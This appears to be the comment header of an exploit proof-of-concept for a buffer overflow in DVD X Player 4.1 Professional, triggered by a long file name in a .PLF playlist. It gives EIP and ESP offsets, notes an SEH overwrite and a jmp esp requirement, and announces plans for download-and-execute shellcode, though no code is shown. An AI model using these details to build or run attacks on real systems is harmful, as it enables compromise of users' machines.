#0day DVD X Player 4.1 Professional .PLF file buffer over flow found by n00b and poc by n00b.
#First of all DVD x is prone to a buffer-overflow when playing an overly long file name inside
#A .plf file Which is  InterVideo WinDVD Play list File but also Dvd x uses this file as a play
#list file.Also the seh handlers got smashed so seh over-write is possible.Upon successful 
#Exploitation calc will open and if it don't make sure you have the right jmp esp%
#Tested on :win xp service pack 2 
#Vendors web site: http://www.dvd-x-player.com/
#Esp was pointing 277 byte's in to the buffer.
#And eip was over written 261 byte's in  to the buffer .So i made the 17 byte's up with nop's sled.
#I will be writing a c version as it will be nice to have download execute shell code as the program
#Doesn't shut down but runs in the back ground
